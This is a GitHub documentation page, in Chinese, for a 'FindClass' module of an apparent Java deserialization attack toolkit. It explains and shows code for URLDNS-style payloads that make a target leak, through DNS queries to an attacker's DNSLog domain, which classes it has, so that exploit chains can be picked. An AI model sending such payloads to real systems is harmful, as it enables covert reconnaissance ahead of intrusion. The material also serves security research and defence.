Skip to content

Latest commit

 

History

History
85 lines (76 loc) · 6.52 KB

File metadata and controls

85 lines (76 loc) · 6.52 KB

DNSLog探测类(FindClass)

  • 类别:javanative 别名:— 优先级:20
  • 作者:c0ny1、kezibei、Catherines77
  • 依赖:无(利用 JDK 自带的 URL/HashMap + Javassist 生成占位类)

作用

构造一批 HashMap<URL, Class>,每个 map 的 key 是一个 hashCode 被清零的 URL(DNSLog 地址)、value 是一个「以待探测类名命名」的 Class。反序列化时若目标环境存在该类,HashMap 恢复过程才会算到 key 的哈希并触发一次 DNS 请求;据此通过外带 DNS 批量、无回显地探测目标类路径中存在哪些类(框架、CC/CB、数据库驱动、中间件、JDK 版本等)。是经典的 URLDNS + Class 探测组合。

链接标签

  • 入口 tagsJavaNativeDeserializeEND —— 直接承接 Java 原生反序列化入口,自身即链尾。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

invoke 只是把参数解析成一组 payload map 的列表返回:

public List getObject() throws Exception {
    LinkedList list = new LinkedList();
    this.parseParam();              // 按 自定义 > 本地文件 > 内置 的优先级解析出待探测类
    list.addAll(this.hashMaps);     // 每个元素是一个 HashMap<URL, Class>
    return list;
}

单个探测项的构造是核心 —— getHashMapPayload

public HashMap getHashMapPayload(String urls, String clazzName) {
    HashMap<URL, Class> hashMap = new HashMap<>();
    URL url = new URL(urls);
    Field f = this.getClass("java.net.URL").getDeclaredField("hashCode");
    f.setAccessible(true);
    f.set(url, 0);                 // 先把 URL.hashCode 缓存置 0,put 时不触发 DNS(本机不出网)
    Class clazz = this.getClass(clazzName);   // value:以目标类名命名的 Class 对象
    hashMap.put(url, clazz);
    f.set(url, -1);                // 复位为 -1:序列化后到目标反序列化时会重新计算 hashCode
    return hashMap;
}
  • URLDNS 部分URL.hashCode 字段值为 -1 表示「尚未计算」。构造时置 0 避免在攻击机 put 时就发起 DNS;置回 -1 后序列化。目标 HashMap.readObject → putVal → hash(key) → URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress() 会对域名做 DNS 解析,从而外带。
  • 类存在性即条件HashMap.readObject 对每个 entry 是先读 key、再读 value,然后才 putVal(此时才算 key 的哈希、才触发 DNS)。value 是一个 Class 对象,其序列化形态携带类名与类描述;目标反序列化读 value 时会用 Class.forName 解析该类名——若目标不存在此类则抛 ClassNotFoundException,该 entry 的 putVal 不再执行,DNS 不发出。因此「收到某子域名的 DNS 请求」== 「目标存在对应类」,实现探测。
  • 占位类生成getClazz / checkClass):
public static Class<?> getClazz(String clazzName) {
    if (FindClass.checkClass(clazzName)) return Class.forName(clazzName);   // 攻击机本地就有 → 直接用
    // 本地没有:用 Javassist 在隔离 ClassLoader 中 makeClass 造一个同名空类占位
    ctClass = PLACEHOLDER_POOL.makeClass(clazzName);
    ctClass.defrost();
    return ctClass.toClass(PLACEHOLDER_LOADER, null);
}
public static boolean checkClass(String className) {
    Class<?> clazz = Class.forName(className);   // CNFE 即返回 false
    return clazz.getClassLoader() == null;       // 仅 bootstrap 加载的类算“有”
}

攻击机不需要真的拥有目标类,靠 Javassist 造一个同名空类即可让序列化写出正确的类名引用;探测成败取决于目标是否有该类。

  • canary 机制insertCanary):每隔 num 个探测项插入一个指向 java.lang.Object(必然存在)的 canary_N DNSLog。若 canary 的 DNS 到了、而其后若干真实探测的 DNS 没到,可辅助判断是被黑名单拦截还是类确实不存在。
  • 内置字典static {} 块):classMap 预置了 os/cc/cb/db/c3p0/jndiAttack/datasource/jdk/web/gadget/other 等大量分组,覆盖 java.io.UnixFileSystem、各类 ChainedTransformer/BeanComparator、几十种数据库 Driverorg.apache.naming.factory.BeanFactory、各中间件标志类、JDK 版本标志类等,供批量指纹识别。
  • prefix 参数会给每个探测类名加包名前缀(如 com.bes),用于探测「魔改包名」的中间件/框架。

参数(@Param)

字段 名称 说明 默认 可选值
domain dnslog域名 外带用的 DNSLog 域名,如 xxx.dnslog.cn xxx.dnslog.cn
param 一.内置参数 使用内置字典探测的分组 all all/os/cc/cb/db/jndiAttack/datasource/jdk/web/other
localFile 二.本地文件 从本地文件读取待探测类清单(格式同「自定义探测类」),如 /data/className.txt
customFindStr 三.自定义探测类 手工指定类名,; 分隔多个,: 分隔「dnslog子域:类名」
prefix 包名 给探测类加统一前缀,适配魔改包名,如 com.bes ""
useCanary 使用canary 是否周期性插入 canary DNSLog 辅助排查黑名单 false (Boolean)
num canary数量间隔 每隔多少个探测项插一个 canary 10 (Integer)

参数使用优先级:customFindStr(自定义)> localFile(本地文件)> param(内置)。

适用版本与原理要点

  • 无第三方依赖,纯 JDK + Javassist(Javassist 仅在攻击机生成 payload 时使用,目标端不需要)。
  • 属于无回显探测手段:只要目标存在反序列化点且能对外发 DNS,即可枚举类路径指纹,为后续选链提供依据。
  • 探测结果受目标出网能力、DNS 缓存、黑名单/RASP 影响;canary 用于区分「无此类」与「被拦截」。
  • 仅探测类是否存在,不校验版本;若需按 serialVersionUID 精确定位版本,用 FindClass2

所属预设链

关联

  • 同族精确版:FindClass2(指定 suid 精确探测版本)。
  • 时间侧信道版:FindClassByBomb(无出网时用反序列化耗时探测)。
  • 探测结论落地:探到 cc/cb/fastjson/TemplatesImpl 等后转入对应利用链(如 CommonsBeanutils1Fastjson)。